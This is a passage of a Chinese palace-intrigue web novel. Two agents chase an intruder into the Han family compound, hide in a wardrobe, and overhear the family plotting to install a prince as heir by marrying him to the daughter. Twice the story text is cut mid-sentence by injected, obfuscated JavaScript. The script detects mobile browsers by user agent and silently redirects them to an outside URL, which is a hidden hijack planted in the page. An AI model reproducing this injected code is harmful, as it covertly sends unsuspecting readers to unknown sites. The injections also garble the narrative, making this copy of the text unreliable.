宋景熙陷入了犹豫之中,他现在对韩府只是怀疑而已,于是道:“还是算...” 忽然,两名刚刚走过来的密使纷纷朝同一个方向看去,并且纷纷举起弓箭指着同一个方向。一名密使低喝道:“刚刚有人翻了过去!” 宋景熙和韩时元一同回头一看,两名密使指的正是韩府一截外墙。另一名密使也道:“他跳得很快,一下子就进去了!” 韩时元道:“像是我们之前追的黑影吗?” 密使道:“都是黑漆漆的,看不大清,但确实有点像!” 韩时元略微颔首,朝宋景熙道:“我们先追。”又对那两名密使道:“天沛,天锋,去通信,让附近巡守的密使尽快过来,先围住韩府,来时注意是否有其它异常,切勿惊动任何其他人,若是看见异常,及时报告。倘若府内出了什么差池,注意上空烟火。”说罢,看向宋景熙,宋景熙朝他点了点头:“我们追进去。” 这个方法确实可以,反论只在南城区的官署墙上贴过,所以密使也只以点散的形式分布在南城区,在义潭洞及其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773792|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附近的洞、坊则分布更密集,恰好义潭洞位于南城区中心,韩府又位于义潭洞中心,所以密使们包围过来不仅非常方便,效率也高。上次之所以不能这么做,是因为密使们才刚看到黑影没多久便早早跟丢了,连嫌犯在义潭洞哪里消失的都不清楚,强行包围只会失去重心,还会惊动百姓。而这次,正好以韩府为中心,布一张包围网,就算那嫌疑黑影又出了韩府,也已经掉进包围圈里了,除非找到包围网的薄弱点,不然大概是难逃出去的。 宋景熙心道:“真是感谢领相选了这么好的位置!” 天沛和天锋两名密使走后,两人便开始谋划着怎么进入韩府。 韩府的外墙不高,但要翻过去还是不会轻松容易的。宋景熙一边感叹那个黑影是怎么一下子跳过去的,一边上前推了一把韩明吉走过的门,没推开,看来是又从里面锁上了,那么他们就只能考虑考虑翻墙了。 韩时元道:“不如这样。” 宋景熙没想到,自己竟然有一天会站在韩时元的身上,不对,具体来说是肩膀上。他探头朝里面看了眼,这个院子静悄悄的,整个韩府的静悄悄的,看来没什么问题,很适合翻墙。 翻上墙后,宋景熙找了个合适的姿势站稳在墙檐上,又朝下伸出一只手,决定借韩时元一臂之力。但不料手还没伸出去,便见韩时元直接跳了上来。 “......”宋景熙似乎产生了一种好心被辜负和一种拖人后腿的感觉。他默默收回手:“行。” 韩时元朝他浅浅一笑。宋景熙感觉自己又产生了一种莫名的感觉。他觉着,韩时元变了很多。 不仅仅是外形的变化,完全褪去了十五岁时候仅存的那点稚气,身形气质好像脱胎换骨一样,更明显的是性格的变化,比起在眉寿山的以前,现在的韩时元更居然更爱笑了,以前不总是一副死气沉沉的样子?尤其是要他笑一下跟要他命似的。 宋景熙最后察觉出来的最最重要最最明显的一点是,他发现韩时元似乎已经完全对他信任了,就像信任李珘一样。六年前在眉寿山的时候,无论怎样,他一直都觉得韩时元和他之间还是有磨不掉的一层界限,或许是这层界限,让韩时元从不主动对他示好,这是那是他最郁闷的一点,好朋友之间难道不都是相互示好的吗?那时他总是悄悄思考,难不成韩时元还是没把自己当朋友? 不知道是什么原因,这层界限被磨掉了。现在的韩时元,就是磨掉那层说不清道不明的东西后的韩时元。究竟是什么原因呢? 宋景熙想不明白。 在跳下外墙后,眼前是一段往右的路,沿路的房间都静悄悄的。他们翻墙进来的地方也是黑影翻进来的地方,这几栋屋子的门窗都紧闭着,想来黑影也不会往这里边藏。往前走了一小段路后,宋景熙终于忍不住小声道:“韩时元。” 虽然知道提问得不是时候,但他真的很纠结。 韩时元一边往前走,一边正在思索着什么,听见宋景熙喊他,回头道:“怎么了?” 宋景熙犹豫片刻,还是道:“没什么......呃!!” 就在他们面前,那道黑影再次出现,从最左边的屋子墙角突然冲出,往右边飞快去了! 44. 黑手其四 追! 两人往右边追去,黑影身手灵活,就算暂时消失了,韩时元似乎也知道黑影躲在哪,而且每次都判断正确,简直是对那道黑影穷追不舍。由于对韩府不熟悉,宋景熙很怕遇上守夜的人,没想到跟着追了一路了,居然没有。渐渐地,他也察觉出来不对劲,韩时元似乎对于韩府过于熟悉了。 因为他甚至在抄近路,试图堵住黑影。 很显然黑影对韩府并不熟悉,有时逃到岔路了,还张望张望,好像在思考哪条路更好逃,最后只能凭着感觉逃跑,而且居然每次都能化险为夷。 又是一番追逐过后,黑影再一次消失在两人眼前,与此同时,他们来到了一栋屋宇前。见韩时元先停了下来,宋景熙也跟着停下,小口小口地喘气道:“他去哪了?” 这栋屋宇檐下挂着个匾额,匾额上起了个寓意美好的名字,匾额下的正门敞开着。 敞开着,里面黑漆漆一片。屋宇阶下左右各摆着用以照明的火架,外面是亮着的,屋内却是漆黑的。再往右看,都是些环绕的屋子,也都大门紧闭着。 韩时元看着屋子里面,道:“人消失了,不知去了哪里。” 他说这话时,眼睛一直看着黑漆漆的房间里,很明显,他的意思是实际上是:黑影有可能躲进了屋子里面。 宋景熙自然而然地点了点头,意味深长地道:“这样啊,看来又让他逃走了。”说这话时,宋景熙也是盯着黑漆漆的房间里说的,说完,又凑倒韩时元耳边,压低声音极小声地道:“他在里面?要进去吗?” 韩时元顿了顿,勾唇一笑,点点头。两人缓缓走上屋宇,进了房间便感觉没有从外面看起来那样黑,勉强能看清屋内摆放的东西的形状。屋宇纵深,面前还有一扇房门,这扇门也被推开了一半,显然有人闯进去了。 走进去,里面很是宽敞,家具齐全,还配有一张四方桌案,几架书架,不知是谁的文房。桌案旁点着一盏灯,灯火微弱,看来是在这独自烧了很久了,有这微弱的灯光,房内要是站着人,一定无所遁形。但宋景熙左看看,右看看,没看见黑影。 韩时元指向左边一架屏风。两人自屏风一左一右抄过去,却见屏风后只是一张床,床边靠墙是两架衣柜,衣柜上摆着一摞又一摞的书,看来这儿的主人很爱看书,睡前都要看一看。 一左一右两个衣柜,比寻常衣柜还要宽和高上许多,不知道韩府是哪里弄来这么大尺寸的,大到都能容纳两个人藏进去,看起来也都没有一丝怪动静,但偏偏衣柜又是最能藏人的。并且,左边这个小上一些的衣柜柜门的插销被拔掉了,很显然,有人钻到里面去了。宋景熙站在左边,韩时元站在右边,这木柜有两个把手,两人都静悄悄地将手放在柜子把手上,然后对视一眼,各自点头,接着,同时一拉! 宋景熙看见,在他面前的柜子里,藏着一团黑乎乎的人影,也许是没想到会被翻柜子,人影竟然没有想着立刻逃跑,而是睁着一双大大的眼睛,很是吃惊地盯着宋景熙。不过由于光线太暗,宋景熙只看出来这是个黑影,并未看清黑影的脸。 他微微一笑,心道得逞,韩时元看着柜子里的人,也是微微一笑,心道得逞。 两人同时伸出手,朝柜内之人的手臂抓去,想将他拖出来,刚抓住胳膊,还没拖出来,柜内之人也还没来得及挣扎,屋外传来一声吼:“让他赶快过来,和我说清楚!快去!” 这声音带着点愠怒,声音浑厚,很有气势。很快,声音的主人走到屋宇檐下,一步一踏,声响非凡,很有底气,也很有压迫感。 与此同时,柜子里躲着的人对着面前两人朝左挥手,小声催促道:“别暴露我了,自己藏着去!”说罢,便一把推开两人,果断关上了自己的柜门。 听到这人说话,宋景熙不知怎的觉得有些耳熟,但听着外面的脚步声已经踏进室内了,便来不及多想,立刻拔掉右边衣柜的插销,打开柜门,粗略打量了下内部空间,藏两个人正好,接着朝韩时元指了指柜子里,意思他们一起藏进去,指完就立刻钻进去了。 韩时元站在原地并不打算藏进柜子里,想着柜子里藏着的黑影有可能韩府是一伙的,柜子躲着虽安全,可若是连他也躲了进去,便有可能陷入困窘的境地。躲在屏风后也未尝不可,只是很容易被发现。 另外,他不太信这柜子能容得下两个人。 而柜子内,见人迟迟不进来,宋景熙只好探出脑袋伸出并拢的两指,着急地朝韩时元勾了勾手——方才在外面他看韩时元就是这么指挥的,想必看得懂吧! 顿了顿,韩时元还是钻进了柜子里,然后迅速关上了柜门。 柜子里放的不是衣物,而是厚厚的两层锦被,底下的锦被占据了一部分空间,使得藏在柜子里的两人没办法蹲着或者坐着,不得已,两人只能躺下。宋景熙躺在锦被上,心想,说真的,这锦被躺着还挺舒服,但要是空间没那么拥挤就更舒服了。 这衣柜虽比一般的柜子尺寸要大,也的确能藏下两个人,但仅限于身材普通的人,宋景熙自己本来就不矮,更别说还有个比他高快半个头的韩时元。问题更严重的是,他自己本就不是个瘦弱的男子,韩时元就更不是了,反而更加精壮挺拔。他原本是打算两人面对面或者背对背躺着,但无奈这衣柜就算不小,也决计容不下四条交缠的腿,怎么换姿势,都还是挤得难受。并且靠着柜门的人要是用力一点,很容易让失去插销阻挡的柜门掉下去。所以面对面躺着不行,两人在衣柜内小心翼翼地尝试了好几个姿势,都没有合适的,宋景熙捂了捂脸,拍了拍韩时元的肩膀,附到他耳边耳语道:“你上我下。” 漆黑的柜子里韩时元迟疑地点了点头,然后抬腿跨到宋景熙身上,随即整个人撑在宋景熙上方,好像把人圈在了身下一样。 锦被所留下的残余空间不多,两人只能交错着脑袋,宋景熙感觉韩时元和他近在咫尺,尤其是胸膛,几乎差一点就要紧紧贴在一块了。他伸不直腿,一直将腿并拢屈着,韩时元则分胯跪压在他身上,好在在这个姿势下,他们并未贴在一起,也没有哪个肢体部位紧紧挨在一块儿,能感觉到的只有对方的呼吸。 这时,屋外的人不知是在外踱步了多久,终于走了进来,也没有对打开的门表现出什么疑问——大概是因为门本来就是开着的。走进来的人只是重重地吐出一口气,随即坐到了桌案前,静悄悄的,不知道在干嘛。 过了一会儿,屋宇外便是一阵脚步声传来,一名相貌略显凌厉,紧绷着嘴唇和下巴的男子走了进来。一进来,便道:“父亲。” 此人是韩圣吉。 韩义亨看着长子,直接道:“这件事,我不答应。你让他赶快离开,我们不做这件事。” 韩圣吉道:“父亲!这...” 韩义亨抬手打断了长子,疲倦和愠怒的神色交错在脸上,拍拍桌子泄了泄气,道:“我说了,我觉得不行,这件事绝对没可能。把暎儿送出去?圣吉,你是我最骄傲的儿子,怎么会想出做这种事情?你最好给我解释清楚。” 韩圣吉坐在坐垫上,虽然一言不发,却没有低下头去,而是直视着面前的父亲。 韩义亨道:“圣吉啊,无怪乎为父说你,你以往总是那样谨慎,根本不会这样冲动,可现在居然想要帮人争夺王世子的位置,抢就算了,你选的那是个什么人?先不说你有没有这个能力扶持他上位,你是我儿子,为父相信天底下只有你有这个能力,但你选的人不对!” 黑暗中宋景熙睁大了眼睛,什么,世子?他们是在商议扶持哪位王子当世子? 韩圣吉道:“父亲,这是我们所能选择的人里,最适合的一个。” 韩义亨道:“你蠢!无论是学识,脾性,还有最要紧的出身,睿南君都是最差的那一个!他凭哪方面赢得过瑞泉君?瑞泉君背后是整个士林派,你若是不想让瑞泉君当上世子,那你就算选五王子或六王子,也比扶持睿南君来得划算。况且你从前不是看不起他吗,现在又要扶持他,你觉得他会感激你、感恩你,等他上位了再对你感恩戴德?你有这样天真?是你疯了还是为父疯了?” 宋景熙听得再次震惊了,睿南君?!果然世子一死,官员们都心怀鬼胎地准备站队了!问题是,韩圣吉居然会支持睿南君?唯一可以理解的是韩圣吉为什么不想让瑞泉君当上世子,因为瑞泉君的母亲是沈提学的胞妹,这也就意味着一旦瑞泉君得势,那就代表着瑞泉君背后的母家——沈氏士林派当道了,这绝对是士林派的死对头勋旧派,尤其是韩义亨所无法忍受的。 为了抵抗瑞泉君的上位,所以,韩义亨和韩明吉现在是在物色一位王子来对抗吗?为什么会选择睿南君? 韩圣吉脸上没有多余的表情,依旧冷静地道:“要压下瑞泉君,我们只能选择他。父亲,你也不想让瑞泉君当上世子,也不想看到士林派风风光光地压过您时的嘴脸不是吗?五王子和六王子,父亲当真觉得他们是什么很好的选择?您当然不会这样认为。他们虽都是贵女所出,可一个身体孱弱,万一病逝该当如何,一个性格顽劣,学业又可谓差极,万一不受掌控又当如何。您担忧睿南君会不受掌控,会反咬一口,他不会的,父亲,就像祖父一样,只要掌控住了一个人的把柄,只要牢牢锁住一个人的脖子,就像用铁链牵住的猎犬一样,没有什么事情是我们做不成的。像睿南君这样的人,身上无处不是要害,这些弱点要害,就 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见父亲沉默不说话,韩圣吉眯起眼睛,语气急促地道:“父亲,我们家门的荣光早就已经不复从前了!难道您要眼睁睁看着瑞泉君登上王位吗?要眼睁睁看着门楣衰落吗?祖父当年......” “祖父祖父!别提你祖父!”韩义亨猛然抬头道:“世子嫔还没有生产,你为何如此着急!为父教训过你什么,你都忘得一干二净了?你祖父是敢作敢当不错,但哪有你如此急躁?凡事不要着急!等世子嫔生产完再说!若是元孙,那王位就没有瑞泉君坐上的的份,更没有睿南君的份!还有三个月,先等着!这件事以后再拿出来谈论!” 这回轮到韩圣吉沉默了,韩义亨重重地哼了一声,站起来,甩袖便要离去,却在离开文房的前一瞬,听见长子突然道:“父亲,那孩子,生不下来。” 韩义亨扭身道:“你说什么?” 韩圣吉道:“那孩子生不下来。” “生不下来?”韩义亨也眯起眼睛:“你们想对世子嫔做什么?圣吉,你最好不要这么做...” “不。父亲,你误会了。”韩圣吉果决地道:“我不会对世子嫔做什么,也无需我做什么,世子嫔的孩子一定会生不下来。您忘了吗?世子嫔已经病倒多日了,内医院说她病愈了,可为何却不见她以面示人?宫里传出来的话,有几句是能够相信的。要是世子嫔无事,有元孙在,沈提学和瑞泉君又何必对世子之位如此着急,如此虎视眈眈?那是因为瑞泉君知道,世子嫔的病愈是假的,她的孩子生不下来。” 韩义亨狠狠皱眉沉思半晌,而后道:“是睿南君告诉你那孩子生不下来?” 韩圣吉绷紧下巴定定地点了一下头。 韩义亨覆手站在长子背后,沉默地盯着长子片刻,而后叹息一声,缓缓地道:“圣吉啊......” 他明明似乎有话要说,却一直拖着气息没说,韩圣吉坐得端端正正,回应道:“父亲?”他顿了顿,继而道:“父亲如果是想说教训的话,儿子都会听。但父亲,这件事我们不得不这么做,您知道的,我们向来只有这一条路可以走。” “哼。教训?”韩义亨理了理袖子,道:“我还什么都没说,你就想着我会叱责你了?圣吉,你是不是以为我会让你不做那些不该做的事?不让你做那些大逆不道的事?” “......”韩圣吉默然一阵后道:“是。” “那你就想错了。”韩义亨一边理袖子,一边叹气道:“真是厉害啊......我都不敢做的事,你居然敢做。圣吉,你知不知道?你想做的事情,当真是和你祖父当年做的事情一模一样。胆子大,也是好得很。你祖父当年是拿三十九口人的脑袋去做的那些事,而且做对了,才得到了生前史官记下他的名字,得到了死后配享先王忠臣坛,得到了功名富贵,得到了万古流芳。这就是我们韩氏现在所拥有的东西。你说得对,为了这些所拥有的东西不再失去,我们向来只有一条路可以走。” 宋景熙忽然听到一声极低的嗤声从他耳边传来。他怀疑是韩时元冷哼了一声,不由得看了韩时元一眼,但看不清,况且身上之人并没有什么动作,便又开始怀疑自己是不是听错了。 柜子外,听见韩义亨继续对着长子道:“你很聪明,还和你小时候一样聪明。你已到而立之年,越来越有你祖父当年的风范了。这件事,我答应了,但你的谋算,暎儿同不同意,那又是暎儿的决定,去让暎儿过来吧。” 韩圣吉虽然仍绷着下巴,唇角却不禁挑了起来,眼底有难以掩盖的兴奋,闪烁着极不明显的得意的光芒,但他仍然低眉顺眼地道:“是,父亲。” 45. 黑手其五 韩圣吉走后,又过了一小会儿,衣柜里的两人听见韩义亨在文房踱步了几圈,叹了几口气之后,脚步急促地离开了。 宋景熙松了一口气,心道终于可以动一动僵硬的腿了,弯曲了这么久,感觉腿脚都发麻了,刚想动一动,便想到韩时元应该比他更不舒服,毕竟一直在撑着身体,想来一定也很难受。他思索了一瞬,抬手拍拍搁置在自己耳朵旁的韩时元的手臂,悄声道:“他走了吗?” 韩时元也悄声道:“停在屋外,还没走远。” 韩时元耳力好,在静寂时能通过一个人的脚步声来判断是否走远了,甚至还能大致判断出距离有多远。听到他的回答,宋景熙顿时有些失望,他还期望着韩义亨走远了,这样他们就可以离开衣柜了,但现在韩义亨停在屋外没走,那他们就还得在衣柜里继续呆着。而且,还不知道要这么继续呆多久。 “好。”宋景熙沉思片刻后,道:“...要不,我们换一换?” 韩时元道:“换一换?” 宋景熙补充道:“你一直撑着,不累吗,换我来吧。” 一片静默中,宋景熙想韩时元大概是在思考换个位置的可行性,反正他觉得挺可行的,毕竟韩时元撑着的姿势可不只是简单撑着,为了让两人之间在狭小的空间里隔着点距离,尤其是下半身隔着点安全距离,这么撑着可是很考验体能的,虽说他知道韩时元的体能比他好得多,但以这个理由让韩时元一直撑着累着,实在是他感觉有些良心难安,再说了,换一换位置还能缓解缓解他发麻的腿脚。 过了会,韩时元轻笑道:“还是算了......!” 没等他一个“算”字说完,宋景熙竟然直接伸手掰过他的肩膀,要将他弄倒过来。他愣了一愣,旋即明白宋景熙的意思,无奈笑了一声,也只好顺从宋景熙的意思,一点一点地小心翼翼换着位置。 宋景熙慢慢地从下方挪到上方,等韩时元已经差不多躺在他原先躺着的地方后,他便伸出一条腿,想学韩时元之前一样,分腿跨在他身上,以便支撑身体。但他伸出去的腿还没落到另一边上,突然,小腹一紧。 ......韩时元的腿压到了他□□男人最重要的地方。 他终于意识到自己忽略了最重要的因素,那就是如今的韩时元不是和他一样高了,而是长得比他还要高出不少,现下让韩时元躺在下面,弯曲着腿,比他方才躺在下面弯曲着腿时还要占据更多的空间,而且,他猜测韩时元大抵是明白他的意思,所以在他尽量抬高下身时也一直配合地移动着腿,跟随他一起找一个能避免碰到重要部位的地方。然而事与愿违。 他浑身仿佛触电一般,整个人立刻往上往后撤去,不料脑后先撞到了衣柜上方,衣柜闷声响了一下,虽然声音并不大,但也有可能被外面的人听见。他又不得不紧绷着身体,缓缓退了回来。韩时元一直静静的没有动作,好似对方才发生的事情并不在意。好像...只有自己反应这么大。 这下,宋景熙感到更加羞愧了。现在他只觉得十分难堪,心里不断责备自己,不小心碰到了不是很正常吗?不就是碰到了一下吗?干嘛反应这么大,显得多矫情似的!还是不是个男人?一块肉而已,碰到又怎样?又不会掉! 这么想着,他决心也得表现得正常点,于是暗自打气,慢慢调整位置...... 见宋景熙沉寂了一会之后又开始挪动起来,韩时元也暗暗无奈地叹息一声,方才宋景熙提议换位置时,他就是考虑可能会发生这样的情况,对宋景熙来说并不方便,所以才觉得算了。果然不小心碰到了,他也是无心的,虽然吃惊,但努力地镇静了下来,但又没想到宋景熙的反应居然很强烈,而且似乎觉得有些难堪。 一个人觉得难堪时,如果你在意这个人,那就最好不要在他面前提起让他觉得难堪的事。因此,韩时元决定当作什么都没发生,表现得冷静一点。 宋景熙确实也冷静下来了,不过是怀抱着更加难堪的心情强逼自己冷静下来的。要不是还得偷听下去,他真想掀柜子滚出去了。稍稍挪动了几下,调整姿势后,他更想一柜子撞晕自己了,因为柜子太窄了,根本没办法做到完全不碰到。 他深吸一口气,干脆就当作自己没有那个东西了。 一阵冗长的寂静过后,韩时元轻声道:“有人来了...” 然而,还没等他说完一个“有”字,宋景熙大抵是以为他想说方才尴尬的事情,便飞快地捂住了他的嘴,没让他继续说完。这时,一声清晰响亮的女声从文房门外传来:“我不要!我才不要嫁给他!” 这洪亮的声音伴随着零碎的脚步声踏入了文房内,女声继续道:“爹!我不愿意!哥是不是失心疯了?!竟然要我嫁给那家伙?我根本不喜欢!爹!你不是答应过我吗,女儿的夫婿女儿自己选,说好了不插手的!” 韩圣吉的声音也响起来了,情绪几乎没有起伏:“那你自己选的夫婿呢?妹妹。” 韩暎叉腰瞪着韩圣吉道:“你急什么!你找男人还是我找男人?” 韩圣吉冷呵了一声,没有说话。 韩暎扭头见韩义亨皱着一张脸一言不发,于是焦急地跺脚道:“爹!你怎么能让哥这么羞辱我呢?竟然要把我送到宫里去,宫里那么多规矩,我最讨厌那么多规矩了,爹真的要忍心把女儿送到那里去吗?再说了,那个什么睿什么君,我都不认识他,也根本不想认识他!鬼知道他长什么样子,要是长得很丑怎么办?和那种人睡在一起,女儿会吐的!” 柜子里宋景熙已经松开了捂住韩时元的手,他红到耳根的潮热也因为偷听渐渐消了下去,已经完全沉浸在柜子外几人的谈话里了,而且整个人宛如被轰了一番,震惊得说不出话,他没想到韩府胆子这么大,准确来说是韩圣吉和韩义亨胆子这么大,居然想让韩暎嫁给李澄!难怪选李澄!四王子五王子都太小了,还没到娶妻的年纪,只有李澄适合!只要通过联姻结成了两方的关系,那么李澄就彻底是他们的人了,等李澄再当上世子,当上国君,韩府不就是国丈了?届时韩义亨封上府院君指日也可待! 宋景熙心中连连啧舌,心道韩府的野心太大了,绝对不能让他们得逞,他一定得做些什么......思索着思索着,竟已经完全忘记了自己过去的窘迫和难堪,整个人差不多也坐在了韩时元腿上。他大概不会知道,现在比较难熬的是韩时元。 柜子外,韩暎说罢后,又听韩义亨道:“暎儿!胡说什么!女儿家家的,说出来的话能不能干净斯文点!” 韩暎道:“爹!女儿就是这样嘛!不行!我不能嫁给他,我不想进宫,那世子嫔谁爱当谁去当,哥你喜欢你去当啊!你怎么不嫁!” 韩圣吉的脸瞬间黑了下来:“妹妹。” 韩义亨也黑下了脸:“暎儿!好好说话!那睿南君并没有你想的那般丑陋,相貌虽不是一等一的出挑,却也...” 韩暎哼气道:“不要!就算长得好看也不行,女儿已经有喜欢的人了!” 韩圣吉道:“你喜欢过的人不是多了去了?” 这点韩暎确实反驳不了,毕竟收到过她的情笺的人确实多了去了。而她喜欢一些奇特的落款,让收信之人猜测自己的身份,以此检验自己在心仪之人心中是否是特殊的。也许是由于落款太过奇特,也有可能是信的内容太过奇特,所以绝大多数情笺都没有回信。 第一次有回应,是她将情笺写给了韩圣吉的友人,结果这位聪明的友人猜到了是她写的,并且将情笺暴露给了韩圣吉,韩圣吉知道这件事后,又让父亲韩义亨知道了这件事,这导致她被教训了一顿,并被勒令不准再见到一个相貌和品行还过得去的就写情笺,否则就找个人强逼她嫁了。韩暎这才因此改掉了写情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773794|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笺这一习惯。 韩暎的脸罕见地红了红。韩圣吉闭了闭眼,道:“妹妹,难道你就没想过,睿南君是你喜欢过的人?” 韩暎道:“哦原来是叫睿南君啊,不可能啊,我才没喜欢过宫里的人,尤其是这个睿南君,我根本没有听过好吗?我是喜欢过很多男子不错,但这家伙绝对不在其中!” 韩圣吉道:“凡事没有绝对,妹妹。”说罢,韩圣吉从袖中取出一纸画卷,面带奇怪的浅淡的微笑递给了韩暎。 韩暎不明所以,但还是缓缓展开了画卷,当一张脸完全呈现在她面前时,她先是眯眼思索片刻,而后突然睁大眼睛道:“啊!是他?居然是他?!” 宋景熙在柜子里听得着急,什么?韩暎居然喜欢过睿南君?什么时候的事,不会...不会是那次游学会上的事吧!这两人不是就见过一次吗?? 他这一心急,身体稍稍压了一下,终于压出问题了,听见底下韩时元略显粗重的呼吸,宋景熙愣了一瞬,忽然意识到,自己已经蹭着韩时元的腿很久了。 看见妹妹脸上惊讶的神情,韩圣吉脸上的笑容深刻了一点,一种玩味,一种掌控。也许是他根本不爱笑,也不会笑的原因,所以这样的微笑反而显出一丝与他的气质完全不符的味道。 他道:“妹妹,如何?” 韩暎抬眼看了韩圣吉一眼,又看了韩义亨一眼,而后昂起脑袋慢慢地收起画卷,趾高气昂地对韩圣吉道:“哥哥,这张画卷我很喜欢,归我了,多谢你的赠予。不过,我怎么知道你这画像是真的假的?要是那睿南君根本不长这样,我岂不是被你骗了?” 韩义亨一直沉沉地思索着,这时才道:“圣吉,睿南君来了没有?你不是说他今日晚会来吗。” 韩圣吉收起了表情,恢复到没有波动的一面:“出了点状况,他暂时无法出宫,但三日之内,一定会来。妹妹,你或许并不知道,届时可愿赏脸见他一面?他是个不会让你失望的人。” 韩暎昂首环胸道:“见一面倒是可以,那我就见他一面吧!”旋即恶狠狠地道:“哼!你要是敢骗我么,那就等着瞧吧!还有,我可先摆清楚了,我就算喜欢他,也不一定会嫁给他,我喜欢的又不止这一个,要是不满意,我才不会在他身上吊死。这次还是我选夫婿,我要不要,是我说了算!父亲!对吧?” 韩义亨迟疑着没有回应,韩圣吉先声道:“我已经说过了,妹妹,他是个不会让你失望的人。等你见到了他,自然会明白,他对你的心意。” 韩暎又哼了一声,暗暗高兴地将画卷卷入袖子里,正待离开,却突然从屋宇外猛地冲进来一个人,大喊道:“我不答应!韩暎怎么能嫁给那种人?!” 这声音一听又是那个爱好搅烂一切的韩明吉,听到次子进来,韩义亨的脸又皱了皱,很想把这不该出现的小儿子赶出去,也的确出声赶人了:“明吉!你不好好待在自个房里休息,来这里做什么!这不是你该掺和的事情,出去!回你院子去!” 韩明吉面带愤懑之色,不好朝父亲大喊,只好朝韩圣吉大声抵抗道:“哥!你怎么能选中那个家伙呢?你不是最讨厌他了吗,我也很讨厌他诶!再说就他...哪有资格当世子,也配不上韩暎啊!哥你蠢啊!干嘛选他!” 韩圣吉干脆闭上眼睛,懒得和这个蠢弟弟解释。和父亲尚可商谈议论,和这个没有分辨能力,没有心计智谋的白痴弟弟确实没有什么好说的,等到事成之后,这白痴自然会明白一切。 还不待韩义亨再次赶人,韩暎立即道:“哥!你干嘛那么讨厌他啊?别担心我啦!我不过是去见一见而已,谁说一定要嫁给他了?哎呀,别说了!我有分寸的,实在不行,届时见面,你也过来帮我把把关不就行了?就这么决定了!” 说罢,她也不管屋里几位父兄什么表情,自顾自美滋滋地摸着袖子小跑离开了。 46. 清浊其一 两个儿子陆续离开后,韩义亨大概是觉得心烦气躁,强逼自己坐下来翻了好几次书,却根本看不进一点,终于在几次拍书之后,丢下书籍快步离开了。 还好他没有耽搁太久,离开得还算早,要是再晚些离开,宋景熙怕自己真的会找个柜子撞死——已经不是撞晕了。静下来以后他才意识到自己和韩时元贴得有多近,原本觉得尴尬非常,但看韩时元似乎并未表现出什么异常,他也就觉得没那么尴尬了,因此尽量表现出一副不在意的样子,不断说服自己只是那只是一块普通的肉。不过,越是控制自己不去在意那处,越是不能不在意。 过了一会,终于听见韩时元低声道:“他走远了。” 这是在说韩义亨已经走远了,附近没人,他们可以终于可以安全出去了。 宋景熙心中一喜,仿佛得救般,赶紧推开柜门,正待钻出去,却听见隔壁衣柜的柜门也从内部被推开了,接着藏在里面的黑影速度极快地蹿了出来,甚至没有回头看一眼,径直逃跑了。 宋景熙一边道:“糟了!他跑了!”一边赶紧从柜子里翻了出来,二话不说往屋外追去了。韩时元也没有犹豫,立刻跟了上去。 既然方才他们在柜中偷听的时候,黑影没有出柜,没有暴露他们的存在,那大概能说明黑影不是韩府的人,或许只是恰好逃到了韩府里而已。这次必须抓到他,绝对不能再错失抓捕的机会了。所幸此时的韩府周边已经隐藏了数批密使,只要黑影出了韩府,注意到异常动静的密使们一定会包围起来,让他插翅难飞。 追着追着,无头苍蝇般乱蹿的黑影的速度居然渐渐慢了下来,似乎是有些吃力了,居然偶尔还被空气绊到,踉跄两步后接着逃。韩时元追得很紧,宋景熙也跟得很紧,就在两人离黑影只有一步之距时,黑影忽然下蹲转了个弯,飞快朝一堵墙奔去,然后三两步上墙,翻越过了围墙。 韩时元和宋景熙在围墙根处停了下来,眼睛里都闪过胜券在握的流光——这堵墙,不就是他们方才翻进来的墙吗?天沛和天锋肯定在外面带着一批人藏着等着,黑影一出去,不就无处遁形了? 宋景熙没办法像黑影或者韩时元一样一下子跳上墙翻过去,只好又像翻进来时一样,踩在韩时元的肩膀上。翻上墙之前,他先伸出脑袋往外看了看,果然墙外天沛和天锋还有其它四五名密使慢慢聚集了过来,却没看见逃跑的黑影人。天沛和天锋等一众密使的神情有些许愕然,在宋景熙的脑袋冒出来之前,都正看着墙脚边。 宋景熙也往下看去,出乎他意料,就在墙根处,倒着一个人,看装束,就是逃跑的黑影。 他赶紧翻上墙,跳下下去,紧接着韩时元也干净利落地翻了过来。密使们围过来后,天沛先道:“这家伙!我们看见他刚跳上墙就突然晕过去了,直接掉了下来。不会是吸入了台里特制的迷药吧,效果这么好?看来天铃的手艺越来越好了。” 韩时元道:“没有。天铃做的迷药还未得到台主批准使用,是他自己晕过去了。” 宋景熙忽略又多出来的一个不认识的新密使名字,赞叹道:“真是晕得太及时了。”他蹲下来将黑影推了黑影一把,将他半边身子翻了过来,看了一眼,旋即皱了皱眉,忽然惊讶一声:“嗯?!” 韩时元道:“怎么了?” 宋景熙沉声道:“这人,我见过。” 可不是见过嘛,好久之前见过的了,这张脸,就是之前那个被酒楼伙夫追债,还投了他钱袋子的男孩!他之所以将这男孩记得那样清楚,全赖男孩对他说的那句“那个人,早就跟着你了,还一直看着你”,就是因为这句话,他才更加笃定李珘和韩时元早就回来了,并且韩时元还在暗中跟踪他。所以,他对这男孩很有印象。不过么...... “只是有过一面之缘罢了。”宋景熙拍拍手,对天沛和天锋道:“绑了带回台里去!” 命天沛和天锋将男孩绑回台里之后,宋景熙和韩时元继续留在原地蹲守,以防还有其他同伙。不过,天边很快便分明起来了,一夜无事。 白日,曳扇台,地牢。 